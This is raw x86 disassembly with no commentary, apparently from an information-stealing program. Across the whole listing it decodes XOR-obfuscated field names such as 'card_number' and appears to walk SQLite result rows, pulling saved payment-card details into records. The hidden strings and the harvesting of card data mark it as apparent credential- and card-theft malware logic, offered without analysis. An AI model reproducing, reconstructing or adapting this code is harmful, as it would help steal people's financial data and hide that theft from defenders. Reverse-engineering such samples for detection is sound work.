lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4271c0
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x314]
mov dword [ebp - 0x314], 0
mov dword [ebp - 0x268], eax
mov byte [ebp - 4], 0x38
xor ecx, ecx
movaps xmm0, xmmword [0x526630]
movups xmmword [ebp - 0x372], xmm0
mov word [ebp - 0x362], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x372], al
inc ecx
cmp ecx, 0x10
jb 0x427205
lea eax, [ebp - 0x372]
mov byte [ebp - 0x361], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.0046a630
mov byte [ebp - 4], 0x34
mov edi, eax
mov cl, byte [ebp - 0x270]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x264]
mov eax, dword [ebp - 0x268]
mov byte [ebp - 0x270], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x270]
mov dword [ebp - 0x268], edx
mov dword [ebp - 0x264], esi
call fcn.00464020
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x4272cc
cmp dword [esi + 0x2c], 0
je 0x4272a7
mov eax, 2
cmp ax, word [esi + 0x30]
jae 0x4272a7
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42729f
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x50
jmp 0x4272d1
mov eax, dword [esi]
test eax, eax
je 0x4272cc
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4272be
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x42732e
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x427311
cmp byte [edi + 0x1e], 0
jne 0x4272f6
cmp ecx, 0xc0a
jne 0x42730c
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x427316
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42732e
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x1c0], xmm0
mov byte [ebp - 0x1c8], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x158]
mov dword [ebp - 0x30c], edx
mov dword [ebp - 0x310], eax
mov byte [ebp - 4], 0x39
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427380
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x30c], 0
mov dword [ebp - 0x1c0], eax
mov byte [ebp - 4], 0x3a
xor ecx, ecx
movaps xmm0, xmmword [0x525ea0]
movups xmmword [ebp - 0x2b1], xmm0
mov byte [ebp - 0x2a1], 1
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x2b1], al
inc ecx
cmp ecx, 0xf
jb 0x4273c3
lea eax, [ebp - 0x2b1]
mov byte [ebp - 0x2a1], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.0046a630
mov byte [ebp - 4], 0x34
mov edi, eax
mov cl, byte [ebp - 0x1c8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1bc]
mov eax, dword [ebp - 0x1c0]
mov byte [ebp - 0x1c8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1c8]
mov dword [ebp - 0x1c0], edx
mov dword [ebp - 0x1bc], esi
call fcn.00464020
mov ecx, dword [ebp - 0x28]
mov edx, 3
call fcn.0049fdb0
mov ecx, dword [ebp - 0x28]
mov edx, 3
mov edi, eax
call fcn.0049fea0
xorps xmm0, xmm0
mov dword [ebp - 0x2c0], 0
movups xmmword [ebp - 0x2d0], xmm0
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x360]
push eax
push edi
movups xmmword [ebp - 0x360], xmm0
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x34c], 0
call fcn.00402870
cmp byte [ebp - 0x11], 0
mov byte [ebp - 4], 0x3c
je 0x42754c
mov dword [ebp - 0x39], 0xadaded
xor ecx, ecx
mov byte [ebp - 0x35], 1
nop word [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 3
jb 0x4274c0
lea eax, [ebp - 0x39]
mov byte [ebp - 0x35], 0
push eax
push edi
call fcn.004dee80
add esp, 8
test eax, eax
jne 0x42750d
lea ecx, [ebp - 0xcc]
mov dword [ebp - 0xcc], 0xacaded
mov byte [ebp - 0xc8], 1
call fcn.00409500
push eax
push edi
call fcn.004dee80
add esp, 8
test eax, eax
je 0x42754c
sub esp, 0x18
lea eax, [ebp - 0x360]
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00466580
sub esp, 0x18
mov byte [ebp - 4], 0x3d
lea eax, [ebp - 0x288]
mov ecx, esp
push eax
call fcn.00466580
xor dl, dl
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0x2d0]
call fcn.004204a0
add esp, 0x30
jmp 0x42755d
push ecx
lea edx, [ebp - 0x2d0]
mov ecx, edi
call fcn.00420370
add esp, 4
xorps xmm0, xmm0
mov byte [ebp - 0x1a8], 3
push 0x18
movq qword [ebp - 0x1a0], xmm0
call fcn.004dd5b0
lea ecx, [ebp - 0x159]
mov dword [ebp - 0x304], eax
add esp, 4
mov dword [ebp - 0x308], ecx
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], 0x3e
push ecx
mov ecx, eax
call fcn.00466580
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1a0], eax
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x304], 0
mov dword [ebp - 0x19c], eax
mov byte [ebp - 4], 0x3f
xor ecx, ecx
mov dword [ebp - 0xab], 0xfaeffdf8
mov dword [ebp - 0xa7], 0xcfd4cec0
mov dword [ebp - 0xa3], 0xd7c1c1
mov byte [ebp - 0x9f], 1
nop word [eax + eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0xab], al
inc ecx
cmp ecx, 0xb
jb 0x4275f0
lea eax, [ebp - 0xab]
mov byte [ebp - 0x9f], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.0046a630
mov byte [ebp - 4], 0x3c
mov edi, eax
mov cl, byte [ebp - 0x1a8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x19c]
mov eax, dword [ebp - 0x1a0]
mov byte [ebp - 0x1a8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x1a0], edx
mov dword [ebp - 0x19c], esi
call fcn.00464020
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x4276ba
cmp dword [esi + 0x2c], 0
je 0x427695
mov eax, 4
cmp ax, word [esi + 0x30]
jae 0x427695
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42768a
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0xa0
jmp 0x4276bf
mov eax, dword [esi]
test eax, eax
je 0x4276ba
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4276ac
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x42771c
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x4276ff
cmp byte [edi + 0x1e], 0
jne 0x4276e4
cmp ecx, 0xc0a
jne 0x4276fa
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x427704
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x42771c
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x248], xmm0
mov byte [ebp - 0x250], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x15a]
mov dword [ebp - 0x2ec], edx
mov dword [ebp - 0x2f0], eax
mov byte [ebp - 4], 0x40
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427770
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x2ec]
mov dword [ebp - 0x2ec], 0
mov dword [ebp - 0x248], eax
mov byte [ebp - 4], 0x41
xor ecx, ecx
mov dword [ebp - 0x4f], 0xf9f4eef4
mov dword [ebp - 0x4b], 0x100cef6
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x4f], al
inc ecx
cmp ecx, 6
jb 0x4277b0
lea eax, [ebp - 0x4f]
mov byte [ebp - 0x48], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.0046a630
mov byte [ebp - 4], 0x3c
mov edi, eax
mov cl, byte [ebp - 0x250]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x244]
mov eax, dword [ebp - 0x248]
mov byte [ebp - 0x250], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x250]
mov dword [ebp - 0x248], edx
mov dword [ebp - 0x244], esi
call fcn.00464020
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x427871
cmp dword [esi + 0x2c], 0
je 0x42784c
mov eax, 5
cmp ax, word [esi + 0x30]
jae 0x42784c
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427841
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0xc8
jmp 0x427876
mov eax, dword [esi]
test eax, eax
je 0x427871
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427863
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x4278d3
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x4278b6
cmp byte [edi + 0x1e], 0
jne 0x42789b
cmp ecx, 0xc0a
jne 0x4278b1
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x4278bb
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4278d3
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x1d0], xmm0
mov byte [ebp - 0x1d8], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x15d]
mov dword [ebp - 0x2fc], edx
mov dword [ebp - 0x300], eax
mov byte [ebp - 4], 0x42
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427923
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x2fc]
mov dword [ebp - 0x2fc], 0
mov dword [ebp - 0x1d0], eax
mov byte [ebp - 4], 0x43
xor ecx, ecx
movaps xmm0, xmmword [0x5279d0]
movups xmmword [ebp - 0x334], xmm0
mov dword [ebp - 0x324], 0x100c8c2
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x334], al
inc ecx
cmp ecx, 0x12
jb 0x427970
lea eax, [ebp - 0x334]
mov byte [ebp - 0x321], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.0046a630
mov byte [ebp - 4], 0x3c
mov edi, eax
mov cl, byte [ebp - 0x1d8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1cc]
mov eax, dword [ebp - 0x1d0]
mov byte [ebp - 0x1d8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1d0], edx
mov dword [ebp - 0x1cc], esi
call fcn.00464020
mov esi, dword [ebp - 0x28]
test esi, esi
je 0x427a3a
cmp dword [esi + 0x2c], 0
je 0x427a15
mov eax, 6
cmp ax, word [esi + 0x30]
jae 0x427a15
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427a0a
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0xf0
jmp 0x427a3f
mov eax, dword [esi]
test eax, eax
je 0x427a3a
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427a2c
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x427a9c
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x427a7f
cmp byte [edi + 0x1e], 0
jne 0x427a64
cmp ecx, 0xc0a
jne 0x427a7a
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x427a84
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427a9c
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x1e0], xmm0
mov byte [ebp - 0x1e8], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x15b]
mov dword [ebp - 0x29c], edx
mov dword [ebp - 0x2a0], eax
mov byte [ebp - 4], 0x44
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427af0
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x29c]
mov dword [ebp - 0x29c], 0
mov dword [ebp - 0x1e0], eax
mov byte [ebp - 4], 0x45
xor ecx, ecx
mov dword [ebp - 0x6d], 0xf5fef5f5
mov dword [ebp - 0x69], 0xc7ccc1f1
mov word [ebp - 0x65], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x6d], al
inc ecx
cmp ecx, 8
jb 0x427b32
lea eax, [ebp - 0x6d]
mov byte [ebp - 0x64], 0
push eax
lea ecx, [ebp - 0x198]
call fcn.0046a630
mov byte [ebp - 4], 0x3c
mov edi, eax
mov cl, byte [ebp - 0x1e8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1dc]
mov eax, dword [ebp - 0x1e0]
mov byte [ebp - 0x1e8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1e8]
mov dword [ebp - 0x1e0], edx
mov dword [ebp - 0x1dc], esi
call fcn.00464020
mov eax, dword [ebp - 0x34]
lea ecx, [ebp - 0x348]
add eax, dword [ebp - 0x24]
push eax
call fcn.00463c80
lea ecx, [ebp - 0x198]
push ecx
mov ecx, eax
call fcn.004639a0
mov byte [ebp - 4], 0x3b
mov ecx, dword [ebp - 0x34c]
cmp ecx, 0x10
jb 0x427bf6
mov edx, dword [ebp - 0x360]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427bec
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
mov byte [ebp - 4], 0x34
mov ecx, dword [ebp - 0x2bc]
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x34c], 0xf
mov byte [ebp - 0x360], 0
cmp ecx, 0x10
jb 0x427c4f
mov edx, dword [ebp - 0x2d0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x427c45
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288ba
push ecx
push edx
call fcn.004dd831
add esp, 8
lea ecx, [ebp - 0x198]
mov dword [ebp - 0x2c0], 0
mov dword [ebp - 0x2bc], 0xf
mov byte [ebp - 0x2d0], 0
mov byte [ebp - 4], 0x32
call fcn.00464020
mov esi, dword [ebp - 0x28]
mov ecx, esi
call fcn.0049f880
cmp eax, 0x64
je 0x426ed0
mov ecx, esi
call fcn.0049f770
jmp 0x427c9e
lea eax, [edi + edi*2]
shl eax, 3
mov dword [ebp - 0x24], eax
movaps xmm0, xmmword [0x526a90]
lea ecx, [ebp - 0x51f]
movups xmmword [ebp - 0x51f], xmm0
mov dword [ebp - 0x4cf], 0x9c8c8fb4
movaps xmm0, xmmword [0x5261d0]
movups xmmword [ebp - 0x50f], xmm0
mov dword [ebp - 0x4cb], 0x100838b
movaps xmm0, xmmword [0x5262f0]
movups xmmword [ebp - 0x4ff], xmm0
movaps xmm0, xmmword [0x526060]
movups xmmword [ebp - 0x4ef], xmm0
movaps xmm0, xmmword [0x526210]
movups xmmword [ebp - 0x4df], xmm0
call fcn.004288f0
mov edi, dword [ebp - 0x44]
mov edx, eax
push ecx
lea ecx, [ebp - 0x40]
push ecx
push ecx
mov ecx, edi
call fcn.004c3080
add esp, 0xc
test eax, eax
jne 0x428647
mov esi, dword [ebp - 0x40]
mov ecx, esi
call fcn.0049f880
cmp eax, 0x64
jne 0x428640
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x290]
push 0
mov byte [ebp - 0x298], 0
call fcn.00467f80
mov byte [ebp - 4], 0x47
test esi, esi
je 0x427d9e
cmp dword [esi + 0x2c], 0
je 0x427d79
xor eax, eax
cmp ax, word [esi + 0x30]
jae 0x427d79
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427d74
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
jmp 0x427da3
mov eax, dword [esi]
test eax, eax
je 0x427d9e
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427d90
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x427e00
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x427de3
cmp byte [edi + 0x1e], 0
jne 0x427dc8
cmp ecx, 0xc0a
jne 0x427dde
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x427de8
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427e00
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x1f0], xmm0
mov byte [ebp - 0x1f8], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x15c]
mov dword [ebp - 0x2f4], edx
mov dword [ebp - 0x2f8], eax
mov byte [ebp - 4], 0x48
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x427e50
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x2f4]
mov dword [ebp - 0x2f4], 0
mov dword [ebp - 0x1f0], eax
mov byte [ebp - 4], 0x49
xor ecx, ecx
mov dword [ebp - 0xb9], 0xfbf0fdf5
mov dword [ebp - 0xb5], 0xfdcfcfc0
mov dword [ebp - 0xb1], 0xc2d7c5c0
mov word [ebp - 0xad], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0xb9], al
inc ecx
cmp ecx, 0xc
jb 0x427ea5
lea eax, [ebp - 0xb9]
mov byte [ebp - 0xac], 0
push eax
lea ecx, [ebp - 0x298]
call fcn.0046a630
mov byte [ebp - 4], 0x47
mov edi, eax
mov cl, byte [ebp - 0x1f8]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1ec]
mov eax, dword [ebp - 0x1f0]
mov byte [ebp - 0x1f8], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x1f8]
mov dword [ebp - 0x1f0], edx
mov dword [ebp - 0x1ec], esi
call fcn.00464020
mov esi, dword [ebp - 0x40]
test esi, esi
je 0x427f6c
cmp dword [esi + 0x2c], 0
je 0x427f47
mov eax, 1
cmp ax, word [esi + 0x30]
jae 0x427f47
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427f3f
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x28
jmp 0x427f71
mov eax, dword [esi]
test eax, eax
je 0x427f6c
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427f5e
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x427fce
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x427fb1
cmp byte [edi + 0x1e], 0
jne 0x427f96
cmp ecx, 0xc0a
jne 0x427fac
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x427fb6
mov eax, 0xff
and ecx, eax
mov dword [esi + 0x64], ecx
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x427fce
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x200], xmm0
mov byte [ebp - 0x208], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x156]
mov dword [ebp - 0x2e4], edx
mov dword [ebp - 0x2e8], eax
mov byte [ebp - 4], 0x4a
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428020
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x2e4]
mov dword [ebp - 0x2e4], 0
mov dword [ebp - 0x200], eax
mov byte [ebp - 4], 0x4b
xor ecx, ecx
mov dword [ebp - 0x83], 0xc1ede4fe
mov dword [ebp - 0x7f], 0xd6cfcff2
mov word [ebp - 0x7b], 0xcb
mov byte [ebp - 0x79], 1
nop dword [eax]
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x83], al
inc ecx
cmp ecx, 9
jb 0x428070
lea eax, [ebp - 0x83]
mov byte [ebp - 0x79], 0
push eax
lea ecx, [ebp - 0x298]
call fcn.0046a630
mov byte [ebp - 4], 0x47
mov edi, eax
mov cl, byte [ebp - 0x208]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x1fc]
mov eax, dword [ebp - 0x200]
mov byte [ebp - 0x208], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x208]
mov dword [ebp - 0x200], edx
mov dword [ebp - 0x1fc], esi
call fcn.00464020
mov esi, dword [ebp - 0x40]
test esi, esi
je 0x428134
cmp dword [esi + 0x2c], 0
je 0x42810f
mov eax, 2
cmp ax, word [esi + 0x30]
jae 0x42810f
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428107
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x50
jmp 0x428139
mov eax, dword [esi]
test eax, eax
je 0x428134
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428126
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x428196
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x428179
cmp byte [edi + 0x1e], 0
jne 0x42815e
cmp ecx, 0xc0a
jne 0x428174
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x42817e
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428196
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
push 0x18
movq qword [ebp - 0x210], xmm0
mov byte [ebp - 0x218], 3
call fcn.004dd5b0
mov edx, eax
add esp, 4
lea eax, [ebp - 0x155]
mov dword [ebp - 0x2dc], edx
mov dword [ebp - 0x2e0], eax
mov byte [ebp - 4], 0x4c
mov ecx, esi
xorps xmm0, xmm0
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4281e6
sub ecx, edi
push ecx
push esi
mov ecx, edx
call fcn.00402870
mov eax, dword [ebp - 0x2dc]
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x210], eax
mov byte [ebp - 4], 0x4d
xor ecx, ecx
mov dword [ebp - 0x63], 0xc1ede4fe
mov dword [ebp - 0x5f], 0xd0c0c5e6
mov word [ebp - 0x5b], 0x100
mov al, cl
sub al, 0x65
xor byte [ebp + ecx - 0x63], al
inc ecx
cmp ecx, 8
jb 0x428228
lea eax, [ebp - 0x63]
mov byte [ebp - 0x5a], 0
push eax
lea ecx, [ebp - 0x298]
call fcn.0046a630
mov byte [ebp - 4], 0x47
mov edi, eax
mov cl, byte [ebp - 0x218]
mov dl, byte [edi]
mov byte [edi], cl
mov ecx, dword [ebp - 0x20c]
mov eax, dword [ebp - 0x210]
mov byte [ebp - 0x218], dl
mov edx, dword [edi + 8]
mov esi, dword [edi + 0xc]
mov dword [edi + 8], eax
mov dword [edi + 0xc], ecx
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x210], edx
mov dword [ebp - 0x20c], esi
call fcn.00464020
mov esi, dword [ebp - 0x40]
test esi, esi
je 0x4282e6
cmp dword [esi + 0x2c], 0
je 0x4282c1
mov eax, 3
cmp ax, word [esi + 0x30]
jae 0x4282c1
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4282b9
push eax
call dword [0x534d48]
add esp, 4
mov ecx, dword [esi + 0x2c]
add ecx, 0x78
jmp 0x4282eb
mov eax, dword [esi]
test eax, eax
je 0x4282e6
mov eax, dword [eax + 0x44]
test eax, eax
je 0x4282d8
push eax
call dword [0x534d48]
add esp, 4
push 0
push 0x19
push dword [esi]
call fcn.0048e230
add esp, 0xc
mov ecx, 0x51f4d8
mov dl, 1
call fcn.0049c750
mov dword [ebp - 0x18], eax
test esi, esi
je 0x428348
mov edi, dword [esi]
mov ecx, dword [esi + 0x64]
test edi, edi
je 0x42832b
cmp byte [edi + 0x1e], 0
jne 0x428310
cmp ecx, 0xc0a
jne 0x428326
push 0
push 7
push edi
call fcn.0048e230
add esp, 0xc
mov byte [edi + 0x1e], 0
mov ecx, 7
mov eax, dword [edi + 0x18]
jmp 0x428330
mov eax, 0xff
and eax, ecx
mov dword [esi + 0x64], eax
mov eax, dword [esi]
mov eax, dword [eax + 0x44]
test eax, eax
je 0x428348
push eax
call dword [0x534d50]
add esp, 4
mov esi, dword [ebp - 0x18]
xorps xmm0, xmm0
